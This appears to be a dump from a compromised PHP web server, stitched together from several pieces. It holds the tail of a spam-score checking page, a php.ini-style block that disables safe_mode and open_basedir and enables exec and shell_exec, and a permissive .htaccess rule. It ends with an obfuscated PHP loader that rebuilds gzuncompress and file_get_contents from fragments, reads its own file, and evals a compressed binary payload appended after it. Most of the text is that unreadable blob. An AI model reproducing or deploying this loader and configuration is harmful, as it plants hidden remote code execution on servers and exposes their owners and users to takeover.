    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$vFCa='gzu'.'ncompress';$KpIs='ex'.'it';$tNsH='fi'.'le_get'.'_co'.'ntents';$BmsI='st'.'r'.'_re'.'plac'.'e';$QrHc='sub'.'s'.'tr';eval($vFCa($BmsI('sjfoxtdwkq','>',$BmsI('mpeutcnjix','<',$QrHc($tNsH( __FILE__ ),-172413)))));$KpIs(0);
?>
xDŮܶn*J{q*ͤS0#3sjfoxtdwkq=2Wampeutcnjix{zkSX[H_mRߎך|?#,s}9MP="_?OKôV,˸RL5yQ?WW?SgOkg-?OӏտOgn˛u}QIؿgF_mն:.5 
*MHeL-/k	G1`i	rʍMdŉɼi1v4h=*Uh#뾙~toF'Q2VھdКt{@SDZɳ_{GìT:V/#Â2'5t.1k'hh)}))ZnE}l(`FG?NW&)V{{
ɠisjfoxtdwkqBM1C퐠TQBCfm2*T
A^ZYd	E@/̎TJ)5̽xuZ3q=|@$aZF;^sjfoxtdwkqs"=GTAPap3rȵ0t%h A+t%|_8MHm\	q~~tZ$n#ϔYcݟ;KֺMj]Ǫ(wPU

+^8f%iSA
eHH\5Fr|hJϫsjfoxtdwkqk
B(}nƐ\Nt#zxR=$^Ui[vς*9d0{FCO=q\,_sjfoxtdwkq/oݵ
9qӂT(k
vOO)]n/h,g1&?2O3Y25Xv
γm*}G̰mpeutcnjixlܲR	ISXMԇ*2)KĶsjfoxtdwkq ;E\S9WԔ!d!buH]Bɘ\!A_[;U6SgxZeYC#v&K󕭾3
4{p}KK.e7WW37GR6]_jv8~^DXMtP0s )oWfG0ꏣI1Bd?#t
~HwE`Rap$eFJԡr	bDdPnefΏFw^VײAzPF齾2&GF倊fq8Q6XrjG!	
xLF~!Ų$ΥhL~ۢ&L]qgnoBwW)ԴG1oWzi5ã;DmԞ N(mpeutcnjix2!HЎbDsjfoxtdwkq/wZVt\tSXdW286GҺ}'i.9QT{f׊&XTB)r:bs5
O?@'`wh-wsjfoxtdwkq$&y}sjfoxtdwkqѪvy8K~R,t"CbV:lٻn
CѺMsG޴[Ǿkx
w]H?
&"v{ޑFTc'jX|@]o 7zjcz[S^;|!"sjfoxtdwkqVY 
K:a4vZ³Fޭ]]|RSsM!"iix7QA3 eB(MX5.bp!l/JEt%.=]ήdLcA6J
T;3 ]szD\1ٙO/DsjfoxtdwkqKލd=_/58zpU*xF*osjfoxtdwkqS~r58QgMwF=Qz{'kr6LBUhLv_]G|MS{X1wvubryy~?T,iǘFt[?;h=۞\XW}dG]&LPsjfoxtdwkqp&||ҕ7	@9EedI^SDY}G`=Dڳ(WCZaBHmU+sUl:ôsTşfx'~x4)IHLlϏOJ 4p}e
eO-#df|茋w8:bȀD80fE ]mpeutcnjix;w'vmsXXۜk.aiD*LsB
b$mpeutcnjixI.lNK)к; 3,]NSHtp}g))RӦy
Db:¡DqiLZyx̯6k-wrp4s|-A@͌S6i8o4euO1DdBy&3Ù:Z; 5V\ƃuޔb2yY yc8sjfoxtdwkqMqPsנXUnoZWCXŕP
`C\̬cb}
2
HFbzhw޶6G']{*}I)Iy4J2_vbtD2Z[pzx%k\,vۋw~Q4Qؙ|2!p$;sjfoxtdwkqѐ׀ryxBG%2M
6ޘ	g׌Gol]A/dP~$Ytv4j9Mnbn:dl5_H'_vc=2.mgX',U)
$%f@R-B#GiDE.6[7IdiaZʒzM-G'uU{y*VI˾++;-rYUmpeutcnjixH&SgP͐DmpeutcnjixR})h&+:n
8ґIviF,l- &lWCA2kui#nr̐v;o7$NaLt0
H}Sn挰gfZc]̥TKJ(Sڈh[%ؗ+=hV!ǫց'nA] βU+ˡ
3
54$KxRT~W+\mb4oLXj}I+|=c~NLxSyܲh7i-56S{/?n)yh沏OCwrӸMՏ Ѭ(.k"HW^MY]1ib~CxTm狍3k'mpeutcnjixc5pK)A1x
V|rors'sjfoxtdwkqREL[}AyQArW`234pHĥ1 6{;b6)z},[`bظ7bOf*ɋYNmpeutcnjix?/&|ftvzz~_ZmpeutcnjixyϦT=RkJUy!k2Ȑ2"mCdA/f}PRϟmCk1%-ߴrd)ۈkJ8XwNb61ao
v
7UZv
Y(d9r\sxÊ
@tyTsjfoxtdwkq,SqD[r?W#I_sjfoxtdwkq,-ef
;-âȍiwߩ'NZyz"sX؄{$mpeutcnjix,js$qi
?P̷mpeutcnjix Aq{En.$X
ۍOH~U{5]4HoN?2yy$.
(b&XIfbh!j)${Gj"4ڹ'5$phnK?&1;ǚ?dvʋ'\Y/U_ζ'c&0_#Q&⸟55Jʿ)+4NAsd]?\TRY4&Ar,hhC	ns`|
1҉"ec41KQb"Ɇ*=H{6;|5@l32^7;*P	@~XiB(lQM3Kg]w=}_bnZ@NAy9N;Rd
	C['J\81MhÄ56,^Y#ed(rsjfoxtdwkq\d1bO@J]&^8`Ŧ|̟
lxnKtkKY!HfdRo3R
a7sjfoxtdwkqj5%o7kD%62}
9 DKXOS^/r"Ι@ln8Ɠf,$_`q$Z0:v#GxV"~㽞!\COnS7svRACF{%mRajwϴ]q08?J6LQ(tG.l U"QlCZW~zV/&S-%뮄{7S!LyOIv#weon3%HG-bjr&$*&:Hp,Y{rTS[fUpkYg-{sjfoxtdwkq#=&:n0ǪLBS0µ(zlZ5GNo|Ǎ׬J\09L4=R6=SLR:uP7  Mnݪ~ޓ$_ZR!
o-숇Hӥ*[-J+FkcvDY(5*5t*DOc?T?ympeutcnjix ؐLVmpeutcnjix٠wi+"sjfoxtdwkq&Āgu?GYAOsz
$6tƧyC&'rQ؂hΞX0[
j-c[Oi~¯x	М[VNZX
hOj=W5/JNᄟ.;$~BYJQILޅ;u+H3uyp4f̋NJf:m1A`"H~~=xImK|4
'@.mSnsjfoxtdwkq_b(a%P2RyY1۫J?kX"ٹ:vz3%)a]mpeutcnjix$s*	R$nspWG?6Rg|πfܛ% @pל̾gvX(]а;f\Օ3tsFrVFfzBiquteKnbKl80}.u.sjfoxtdwkq!c
SZyN(C@,ݬ0LHA;!4*Ae)|Y?RUW\L	(ۦk"s/32{Fڻbmpeutcnjix&-Ҭ|
c=mpeutcnjixR}0I:Y9q
eJ_GZH9Nh~xR^3BBfsjfoxtdwkq9pdAO{3rmpeutcnjixg\{ҿ pr9V-z	iCF
Y䲙^ȡuuWF0	mFo(yکH'_=)
Ho[xtcr04ߊt
۹n77Wb	I{*[}GwqfFx26=e4{#ߚs8;6վO6E|15]N $.^аh"3]Yw1
)1wF)Q?8	1ư K+yii+2ՇK~?慎2v27,\gq6rdA\,s{I5zɤ7
)/៙=~jfT?GZF'QgeBN.NZ\mpeutcnjix!@mpeutcnjix}L'4KBmpeutcnjixP/NKۜ$\;Yer/pS&ƁZ]D)sjfoxtdwkq\Mgj\[Mm?{AX^Ao}vౠlWF(sjfoxtdwkqTҙAR |1mpeutcnjix"t4ԙ2/80sSI=o
'0ẍUwzDIC&! $sjfoxtdwkqj*勻xCQa$Pm-IQ=3sjfoxtdwkq4^=RKHIǷD!rTf âLD*AK8~ciM	0wIn\6.NZcDsjfoxtdwkqX|?(Xy-h('e5`fvKaiD 
NyS5`Q|4^YTkŎЁ[.Yt	qWVeI$`bn"0]되u0Ab,4k-1QAa=21V)-iCߤqek؏aUhYnR
o*նAXgvfy8YQp2.&sjfoxtdwkqdᎃPT1vIXqm޵iZU
q!Ab{}"l[sjfoxtdwkqK(ˀ~ȯ+«K*؃Jrԋe-VU{b5N%ty$\sjfoxtdwkq۳^ =1_z{tvsjfoxtdwkqsjfoxtdwkqܫ;{	7Mc'"8=8cW"ќjlRFՂMD]`\+fsZPI;kRH+V)(9FhwJӲ0_[3Thp-.?#ਹo[UWmpeutcnjixLaRVʚMC{FcApS\BmU1A&bEUO=hznA,	0Y,IbRn-td]9.Pǘs*FĚGDv^|X:6.Blw'Q&^px t8i;`
fƁgEǁTXI	OہC%S9ɦi1|;uȢZCK@qsjfoxtdwkq;4j; -GBxX
B`(F^;aX%LVwqɝ78]Ѳm. Bb(+%15FSV m!ڛu|o]`-XaQ)@GkmpeutcnjixNȷ?9s8qU\Qt˸.#,a{De~)~oӸfSPfoѳ6
fw	7ԭ1&;!'W*T$OQGo[p󽕠=F!U5Z_Qb˔nXSsjfoxtdwkq yVmpeutcnjixeax4F?t=
ٌ	]եoڂJO̍t!TJ2'V3$Y3Ǆ=bfutle'"*/,?ܛ	Bg&Rxѵ
LꢭY9ߛY9	I]-{WV+EJmpeutcnjixQh;i| V*3sjfoxtdwkqVsCÎԍ|δ#ì +j7r0h94`Z	h_/g۽N_;/O3#-q_nYE"&Roa
qL@X)|78:QY'eF˶v¯qI2
.еs
 ;(#OyobT,lP⸽!.¥ّDTm$CHʝ#2g4VDcVymƕ?csjfoxtdwkqe~;;?3),tc.zTF ,çCfo1˪,ש Ԥ2~/L\5_uk^\
[/,_PM5k{zBJѾ"n8"w{^35yMd
փ9,6YsjfoxtdwkqaQħA!@]vbEыXNX(6\`rE
^|kU?um7Q/RR@w&ikJHAuUϋߑ,*V}0oUi%p33}';g𶔴[BR3:'mpeutcnjixu4~g-ġH924=$vxjom̻SWn],J8+me~52nzA
8WÛ6]pui =[`spw_FuVӘ1
UΫb8NFӎmpeutcnjix*isPط_EgՐC-7Krl[
du1$ro̦[*.#S~tSJ;sjfoxtdwkqb^ 8C:GR,q!t1Xc#F:=mnr$^~M/P =F(١mٸ m{&բZj5ocKקv?y3[:dm&qΆW^^"Q䟯sAkq&Tf! D6E.	V+ØHWǘy9L`mrAdsjfoxtdwkqsjfoxtdwkq/2
\`l8?krҹ z5+a_&;zo{3@MyY65BIJ
8rǛ@7Qaphsm|"x	41jsjfoxtdwkqd]s3e+Q_1|S9fz\E̸
VV H=2i(7N[, g=sqGOmpeutcnjix0= )_mwD/7З
(;}!OB:EQ(ݯG1(#b `;@ .dsjfoxtdwkqh]߇CSK`[#4΀wyr{ݳTfW/
*qO 9RsԺFⲩf귖z@39~)ٹrwsjfoxtdwkqQjZ^9s~dmHf3 F%^"fM즗w91A=b+C ζ0mlg9DQn'V5f/\7)?"u6pyJM*"5[dpK	,*v#mpeutcnjixZ	N]b4\m䊵Iw0h$=4t*;K^$V0?bm֔'!E.!)q'5ࠗ&|Cz0-;z8/Y}Cu(?+M7+ҭ@X 4OJ,X,]P}wz*2p(WQF}9)S)\	"\ZC+ی+)kr/xyR z8tu![]w\xu#ߥ"h\EߞbnWҖәvNkԱ6$Jءb[FQ$/U/"h̽2Lmܙ `m)+0"WW]fvSOB3q ֻqMRSN!2%-p3+#};'rA-!]Vwrm.&j|noQ|G_Pl,NeV3NxI69X6]r@67TEe!NMV߬qIu8NuÝ`74msjfoxtdwkqѪn}3y6S\sNJZq}7'[n@3
^=+[3&
x҈3O"գ4HmLז/zk֥1s
J?ݦwFlEUWJ isM*Msjfoxtdwkqb)87{)Hk\[ RҢx8,JD$ܳ5mǡƛ]LGc+k;/*OH%	,3~sBtU}aY
J_7&[Ԝan,uBb廾k8L[,h1Li1D7~	Wd83l8-~ΔOe#hB	5ZV~7N- onW3"kDxPw(L@*F%,ԛ涠6(&3WCj,m"ȌS3R\j@OB`K^3-}FKlS굄hV_Ѻvy@MߕjaB+-Fnadó./|gX΀_A5'H	n֪J1_lKbHJ,"nfL˩%3ES3Qsjfoxtdwkqۈ 盞HlIڀfbhq=qmpeutcnjixlwLZc
RF,і$
5HDRM,fn6@l鋟/6E`Or7hy. |BkN'=~m(^"0qBݩ@,-]g⒴0=zfƣs}FPZ-7QKvqFcQ=1M:&^ fs!{p?BDWX84K sjfoxtdwkqIX:
޾k8B
1?^&(Np!@$XSmpeutcnjixWĉceS(VHitoz,*p|amQc?)s2`]W/dl;*;nmpeutcnjixJjwm87$8%'&2smͺ\sjfoxtdwkqNg {Dy0V}[ ]ǯ:wiTj&,sjfoxtdwkqj/?R$AYsjfoxtdwkqgՇR'$F#ibF?uRεM z51H cH'ډ&0tԙcd/K z'x/2/D@tZ'Aq;3C5/wt~iz#mpeutcnjix
EED~oUlnK@AJoyxG"Xob4DYt_1pGd̏Lz #'z3o不2z3.Z,VF+i+~ғ3ìN~/ߙC85)u'FL/+]=豹HsP5P:ٛ2Z9!(9h
6X_k1Zyw3Z eWHYeBG|L澤v+Nêsw	ha34q sjfoxtdwkq`M'=)~ŏ=&einn (:1vcVht5mpeutcnjix9cY}co簪QSrTO܌mpeutcnjixhy7rbѦ#15sjfoxtdwkq۩k
h䠲sjfoxtdwkqb}gBjB-2Abi"Mv˭8$Ё$V*C%N?μ-Io"fgsi\Eb5#o=1D;ݕٖ'+SHh1?Sv.2r|~zv7/='8Nctkł
+]Uzbr1,Eh$6NO/^zA)N׸LAJPuatHl3hzB!p~試5i2%Pid)M`ʩa4?)sܠ4PJ;j9AtϴlIqLQrnPʤr.?q)l~]JsjfoxtdwkqL1)3ܐX %_{甭Upm9*UE6n*[p7`E3:ɔӼU.B8ef\ރݦѲuIկgU-s &1H$T9{R_IImqKK[_GTsjfoxtdwkq\N7*b_r6QI)LW`D7אjR.33SvqD(djsjfoxtdwkqc3;&3Vve"R{ܼƅz jB@:1a݇bM9y[']0mr idaXfbU +Ĉ5P%[),93"?ˎލ" A`YI:xvD?[?`jd,0$-,-]zlz7m9SutB_Y '6Fr9@k3pCR8u8ϊI`Z6O3;7^uN顿OQKÀ9,q"O7+!c
nKTa${ت*'wV~LFw_&ı7f=an!h\IEɲ_WԷxb 923ϟ.b|80Ri3sjfoxtdwkqɂgo7ꦘsǌICS4A#v2_%ܴq=d4*"ng8
w?ڐwhx2^=@Z

dym-+sIQϪ#!*Sԭ5.jr2ܓ
bx@t{V6T&( /\dW0Ԥsjfoxtdwkqp;]yʵօM,ɽsjfoxtdwkqh
hJfJȂD͈4ƚyr('UsX{Б~F--18?	̑u1fS%0.v"71eW fmpeutcnjix؁ ѳg3⤤#$":z%Zc#ػ/I}Q.y&;VFܼy_Y~z$e	{U?W91YSrQOZ#߆sjfoxtdwkqͲ]+
aDJ\軔p*qEoZy !DdFV#o57K'X2f+YU&df7cmpeutcnjixbF\]C]QJ0oW#UDcSowsjfoxtdwkqD4f,xÞ;ߟ9ݝZJ匒v)mpeutcnjixM;ѰtSC[NeT&Nsjfoxtdwkqo^agGFg)La5=zDur᪖Y	Dn:mpeutcnjix!VTp	:D %DL9ۙWhD)_FW'k')"	 _L$%e3\w2R)2Ni0,oTWgywiDw|[sjfoxtdwkqmpeutcnjixꗔ@4"ф;%+^m6UZePv*U|ſi#`]Yp
I	k?r?/],9ǯ$Lj\p,$mpeutcnjixBRHxSԆķW"m1β݀ǴTNwb\KsjfoxtdwkqczJN'oMS Zd(K\|TG?t`*6:x16־ڼd)!*?ө)+jpSdC DEhi[r//"
38*	zSh4G
of~cX `NZ$u*?q3&p:((:N3@+[;}$hEB+5/6KLՁ?o)Gf|sjfoxtdwkqYp1U3]񎝟pSsjfoxtdwkqY4e0hF=^uv[N~\Amtޙv	.|QbL!vJlc}w,$n:(!Z	gVh/@F닜gXcS-tJ4d?7t%ˋuWa68	?:[|K!)J(B3/Wn!ͲCQZ[Bkl/Et@6چ#zS0ٷ[r(VdC;2P(DV/ҿ
deY{qKۢkE?
Zs g,DHIhӐk|Lߤ@M]5r/K^QlO$}U:Ѯ[
]zy eDEff(| c{3f&toV#WZQ*HQtٻڐ^s!
վ
`-m(0{e%۽޸U[P*0`15	xPh0/հܒ.ssKѺq{IS?k|Bʙ+%3T 
d?ImnM,eqz{	yD3
(rrY+X _ȯUV4%PHp8G|I^(٘p%w|L,=HFx_zYx4!I
PD5_qA҃0PU,x[̎O%2N1Մ- Y8c'z  'mpeutcnjix%:?-zCAG.SmkM\'Ws#GzYWO'k7TZ~˄ Q4#dw$lw=[sjfoxtdwkq2y~fnevkHŚ@sjfoxtdwkqD4T,fX{#ar,u'XN{r?$sGunPt?9f5«%dbguQ)E9LِsMoc~2"z1d
ͨ=m^(iZ KOͽmf:y|t,R];$}l8DdWѐct c{b 7i5|f^'"-%	\R=M9vϮR4x#Pa}mpeutcnjix7|vLWosjfoxtdwkqgeB:z iRjWdgHD)VE'x_gP1!WR@n`i}U3ZcDhAk9Hwt⛜OAuVHr2eT/(6]kB̙?ގVrs/}oo'j?EsjfoxtdwkqyqېLV}Ѭ+b3?{&nmpeutcnjixǍRovS+\X,?lK5sjfoxtdwkqܪ队n
Zi&`\}|D}mI~?½J^Բ
v1CMsjfoxtdwkq~jJ+	X/Q!f+~3EmpeutcnjixVd!G&F*}D};GE3}mpeutcnjixcOЭEB]NІv}.2I씹".lɹ4fsjfoxtdwkq]XbYezr]MЃߘ:1/twn5Lfyz3mDCDBnFl塭̗%:,Z=SvA毀gi!qCzucb		x\edW),pQWދ0E|=mpeutcnjix*,qemf[4A]q+[:mpeutcnjix\\"DƑA$bu7Qx2 ~3Y@79XGrvQeЖ\jR-HA3aMVZq[鉋:Sf}q#,q;bp+y&2YkWG(㍞e#,иD큆1V_N[vO&J$ƈQva]ڸUD"ZE!]˩h]8Wmb ղ|~ Ж~i`fءRi	q0b!NO?5ݖ
dX+[&rmr2Nrzı^W9sjfoxtdwkq  vgpESS_K
X6]F5EMx1}eE΀Ásjfoxtdwkq `2sK{p|%Ofa1@}-
[0x"RSUΦ8T)aȀk~mpeutcnjixg'ط8G+_7˱Q
یd`D]wwzR2dБogѠ/deԧ\
sjfoxtdwkq|5h,5ᑶZ°FsjfoxtdwkqHmJ*칗^`@y{KqA4f+
F?ߔXTw
+.2:~/k
v*K&=ÿ"Db%}@JwԺ)@w6AYLMDjnըF$O3b},6I^0fеelooQTqToj_W%I:uMCZ1^loSj_
_ɳv-qhL10~r``GMA4Xjx_5sWsjfoxtdwkq#/~ yx@|
|Њm*c%+LzX~.!#yxN Ή,mv
`6/~Rpxcn/pC\{S`"B=@ۄJ:?I0gXb@y6`:[Ъw 
?fJ^MT5dI H%	3*5!;  p\cs
;3tk5ku 㔀Lt0MضmG~Y-v3[CS"$l4pc&`Bvg%gH5`J/!|b\HC9/f$ۥx)ԞC!o$1Asjfoxtdwkq@G`NNM{JJCܮ~^\8^
v~a!I[m,2*x7!KKS?MD݁31eȜ61}zc1W'_MEn{mKӨsjfoxtdwkqc#xj/;J$I9s_oU,D*FՅ&,Up@NѱFyk7DW*cAWKiwW21f,=	/m8ˎR6 )geW*3,#Pn.d26&fʊynԠ?sjfoxtdwkq(`&-U8sk%st;`XK-L*9pI4$Ҿ;y(EU!عmpeutcnjix`dmpeutcnjixsED y3A+1kaE{%Jjy:˼ޓO.En
ܩ,a"qQ-m8kӯ)j\Z%R&.y0UrRhp_Nf8`A~D2#veYFh&Q1
	Ht%i=ympeutcnjixl*qv7 nv|)\	v?1Cr`Db u"$8$҂mpeutcnjixw
|=)!c3,_h|
K
p#Z!ti+(MOcj.Vv7"]%p ,26 %N];Sb~,6`? 'UCgtL"Jӂ8IBtO:v)zV4'ZV	AV%_Vnci,FɴӲH㘠s,$/}$l@!J|L Q Ɓf`#|%HC\t= h
s|rUR3ce͟EOn-`PGZRe&(my;a?𩩇0*i%BEʈGGt'ܾ!4F@	л8dhtz?l'$m gC~EV\U$BU̆4ɔ"FC4,oļ` tThBePvz);&?ڎ9{sD7fIc ,λGU|2շ\'N!Gaߐk%;'=%To'{ކ/0ű6.Ee.u2hRUCn90SCiS+S9CEKDF㕼{B*?SJڶ!/}4pJZoӁ߯ēl{kI|Psjfoxtdwkqz}iQtMPٛc/QݤI@k
6!Ai&@[4h^[qsu΁/!=co9/ϧu	q)B%%e}H%%Z"k .qMPjنRk
VsJAɱK3Ƴۤa@޷NJE1*K$~*_t/fsjfoxtdwkq@oQsjfoxtdwkq
ּmp:MU{+̞\OD5^yNTT~ZrxBqq9'=\Zǂ]4qlX88LO]D5kKML6mӤ̕n6O_un֒;~&qۤc~iu5Y䊐Jh)b5ZڡՄU2lzF\~ʳļM4
34ѷ;lesjfoxtdwkqFXL;LP?z("+'ᓨ~Ǽ 걥9/7wF.Y߹ERqIK}9/ZkEƛwngN l]	Ch,b=j_7 IFMgSzcy0YuXd:-sKS5[^XY0x2Vzk$csjfoxtdwkq(}_	A`}n_+YƉc,;f]dV"-ZrøRP1?Yr:RvNPAMbO|ؒ`4~EJzGCh8# ` lYB(h~8
sjfoxtdwkqQVrv4-0ǳBoNo姑YnR%(	&˕ZQ@nrِ7NDRu˙;ڗcI7ii&J\"_G~Y/۔Wuۡb,y/*}5nTW`~4BmOXy ̖a;mpeutcnjix'9t}JiƯMKumpeutcnjix AKvL^ns٘" 0-
QޖOL}.=_G
G
i'7W*C񼕞Ympeutcnjix2]j'NC_	'_TMT&ڡɯc# ;kC$MU\üP
f(Zmpeutcnjix goEh_Dh60};gK wRBlYkw0;#v4Ω?,wWAF!2&x,m77℅?%~lijUV&n.s/=gyhP\48sjfoxtdwkqo/AwSd ׋	\c^;K,'EhzX&rb%Jmpeutcnjix:7mpeutcnjixɁqe8GO.VMC
rJQ;Uy־ְFUQ'9vNbi:
1ǊWT#$}b@]IU
7-L^u667ݽ҉쇚!OHkڋ}/~2Vmpeutcnjixwhmpeutcnjix	XXgo7Ey=CѲ-e1tٜ!+1td#m 0PmG阚itg.l\LDu8PEf*pDQĈ	TW-njp+e#(B;5"y
엡yWUZ5grJٺqyՆw	L̿nLދLB7!4Q ¤SGOE;gЙS(N
qcN͠$f~Cõ#Y
Zm
nNaZ͇;~Vطmlcָ&-ҤXTDK;P..$	|)D)jJvE4bۧ*3@g\РK5YCxwS p8Zǐ,SbЄ#sjfoxtdwkq:Ǭ$w⫊O_*cn:S^[߫{|Ĝ~`ѧn\La8P*k|SJ*(ʟJ-X/a\1Msjfoxtdwkq8|_ԝ4mbyiOhDldSB$Lj@;/垟{{o^X.ϳ6d:d۾͆bْ[jGů`yަ{	#ϚƢRfKR^]hL'A E##'Acܱ޹g#jṣ4w_L  CT-'_Pmpeutcnjixb5)0DJ F+S cP{َp*2H)Eؐx%,V9*.SJsjfoxtdwkqFIRUXB\jӬInkNh-Fg/+hU
/81Ǝq)׮=DajײTY6}//w^#*
Fِct/a{5Q/{Y=ϽXp&0Zmpeutcnjix
'}99zټDlrKiڵzdRÙ
2qn TwFtCMNW5+F5Ng=9[$0`u"PeI xIYXl5h`Hעs)b+~DH&^u%{	9c7c1( IG"MF
oPN)sjfoxtdwkq44%zah
[8iI_'+H{4jD\AKb-s?"557.8SLo"۔1Ȥ(+no1$^c}b
mpeutcnjix@b
$ObtVPXGFq3|'l椻Oi]Ye1|
 oW7U7sOf+';h0Rd!dѧ5Х[Ar|BF9K@wz6oh
{tpsjfoxtdwkquq=De9?y#14&N!bΚY0^GtorkWtmpeutcnjixk_^q߸Xc5h@ssNFW{]簻L״XDР?ev[ôONqFfæXq~\'ksjfoxtdwkqrZ	[XL@ktA/9S8m25`jc汬mUY(PbCc!?V	玐|B8-Un37,C2dq{+т s@|u*汗hDsjfoxtdwkqIsjfoxtdwkqmpeutcnjix=!V5B7ܕKGs%N~cM
sjfoxtdwkqԭ^Td;}+5z12|*dߣL{aL{Vɠ`+
2Go
,_#R[164/+vi[= =vAz;G.Ӌ/DEv=|-ԣgWV$rhK%FQDwhq3v(3rmpeutcnjixh|/v.!mq`I{'s39sNo]U$!t}nNvId2k~k"@	.T E|Wk=Ф1 PHGߊLêc۔B|PLs]Wb%N?f}uQ]W?qoA
 }Wn%zzp 4eK@Lj3J]7LOwjm8R ; Rc"^iL?sPo"3@.sYr2(^rZ-Y /%:c	`e	okGUX@P{g8ABsjfoxtdwkq;8W@fT=܊!Gi= SƑq5q n
MiXo]|~2moҪ۱BMR+iaiqC9'^97|gfJ=Ɏrm=NM
;Sϒ#(U_TƝoc_AO+-&;~D)zy	%?te/i_5 1#sjfoxtdwkqgpg/U1ew2I8(6E8N[GpUU3᚜^?!5F!;"
EySIH',d
vS\K_`
OwWnqizye
5I9'a(/~u1u|k&L
$'--^=̷FLn8ߤFO!I= x qdM'KNop%	`w(/nj]40Ϝ_UB?HQ$8 8H#$2 Vjd6A_ ?LPݰ
Glo\򍬅i_Vز	%h)vYl Ĳ/t28Y5IGBlGtYߨ
%rnW}`j||~LK/[2^iGhalӾ.mpeutcnjixbǓ^
*6"]knz;0'3ẢtPsjfoxtdwkq r}(L@`uYbR,օҨq2b%|qeL7p0TNtb`$^xJ"V~
z,ԫD'dbE^۫]^J놄kZ:^ 	"QOsjfoxtdwkq;jn	H|3v"B9KJs'vk9PL~ºJ*w&5ħ
|h"}M;
B?`.O1I%a-.ȃXsjfoxtdwkq#qX񜨫FS3zg)}(ڔNrc,~,FŸeov jU 7Y2%&oJ	+ ?RWQԆ'QׯJM.*EL0 zҍdJʋ}!k]h%A+mpeutcnjix_DؾW"P4$L]F+i/|!^/56a]BG6|jCEǖj[̺}ynnq|Oݷ#Olhh.B/h!EQb"JKD#AI1bѣO#MG{TqWNlyto{qmpeutcnjixS(Gn7o)V7gXFh5VKQ x8ᄾuʫM꾹2ZcɑY/fm5.~+
h&hޔ-Q0ߧV;f7P
D)w(;y$+NdkQcE?ok Ԁldәwْښm/{?&{Ji|i$B.urUm$G9`5ݨmpeutcnjixIv.2ɶ2R`1RK#G^e reӳs̏i,@)-vHvOre4r[|~חr9k*	[E s*vk609	5P[tܣgT  Sؽ[\/&YfpX&4n
10-s,N]Ri[W""OXz]P@RŠjg#aof.e\"\{.EJeN !s. ,uaëG5jBI"iNJtm1]ޒG}o|NߧGsf%#nD
mvmM*.D"; țonV-="8c*R%@绩l84 Sd%հHaMusjfoxtdwkqkn{rrP2A_l0dz\p$!wLdsjfoxtdwkqގ8"w)1pM-߸mpeutcnjixM08ehX܏V_I{u@,v@JI/K\&fjtU)b8Phk~bhsaAwLhz.F($v΀~cW+IUj$@$mpeutcnjix,8eG,CRԵsβ(+};_z nޛ-:;ZE]$tWo3yh,ym	tawjo\rmpeutcnjix[r~R_nq6 %jLJ.DwsU4WRϱV,VNqzIo]E+-P8֚3ϟhB8c݀!l|Vlq$fx^*-n}UFsjfoxtdwkq1|:؜+u9P$:5gIW$p!,[57us`kz~Da{t[6A
%8S.۞MtwX~SI8nڂ=%k0=%U6}xHs/@l-8ora]D!bE
N5hxQ!_CXb96{y15ռwv!	\G`̵b ԠqSBsvϢxeZ)n!cQ`61=ȭP'ݯS հƘ"]'b].ڂ:}et\,+ʛI ED}ySDٞkݷsjfoxtdwkqK|zT
澴b&ܫ\6m|W5)r&Dywڭ$)镻p?CwyJmpeutcnjixW1~}pnFmpeutcnjix~tCM{" r_Nd"s!~Xg,T6Nu 1SAs`KygjҎ[ǈ&fh8晪AUH~gsjfoxtdwkqPf{-!2ي\Tghs#	@mpeutcnjix4_k%f\zG;KY
aXDNf}!UstI}IBѬv?Pp2ldU8K8sPM7YW/؂{Rmpeutcnjixho
ԁԪdc*
ʪPc.Rm2!&@@s:@7r~o`s3SuW ;	N6ջm*%NA*biFGsjfoxtdwkq76sPXu4N;!ߴ3v(^%e$@wKkM)#ǂ0?NϔڑRikRלbIMcaEq;EҘa׈Y
ZSMf[dĴ$fF!פAY'3mqfTS5m!]54ji!pxAHegrܥok
|m
Ȑr+Yĵ"nyYNk(4=%!_	oDF"]ˏ&ؼ
o*/_o2~H/-Iiｏ-%bLpN=ődeZ-'т̏.TW}hnJsA\.mOxpKP蔨0r9l"_0x8"_In\㵟,IO#1|=~mpeutcnjixBDo_mpeutcnjixu T,),.似mpeutcnjixzxWexg-|-u|܅'. ޴mpeutcnjix]`\v~e?\s%H{{鳗?Hty=jϥQ\Irlr[`"*dVBG-/]z
E$	+_OZ  e
KBJ55c46:A! ~NӰ#,ImOR:϶fڐEZ;tsjfoxtdwkq@~~"[=I*:d㮩=All-ܒMQJZH/A
Ϥb *vGjX*
Xʾx2:[ (H?Yj
xm,OnWk.ڛ!?.A`5WZ_ߑ|-knL!x*YA*Pа%;!eNUʍL/jcc&xi^&O0o$nSae̝;rZ02|ٛ!z+imLt4-Sv.Lӌ
c%;sjfoxtdwkqt2Sd"I,wP.4l)sjfoxtdwkq/axZ漜iB\G['CsjfoxtdwkqFj]ْ({G:̱?(R&aް"CaSG)I|`zJĺLRK.\興AM.ݎF\]Xm2!Yd\t?b6Z#x^Nmpeutcnjixt%0	i2̙VRVKDf "ޑmpeutcnjixZ ,ncY{^d4vP3ҫg?8뗶f^9!ur
g~"BfPкu*YuUgX0`\ *7Z@|K`Kq%g%w5ڠF-7Bt'vSe}ua;`Ԯx3mpeutcnjix~sjfoxtdwkq0
anmpeutcnjixv٪sjfoxtdwkq9sNcM$sjfoxtdwkq!55?7Q
X(нρEEX~D'L:1=^a#䟌ۍ4R;f41ٟ!Zx!or%kk2VsYlhewٴDDsfyx]z
__vT6ɺ6/sjfoxtdwkq"֟M{{n]	UQcZt*=%YMQompeutcnjix,ʊ2FCr?beFoOV'5櫃%ג|TR1f$
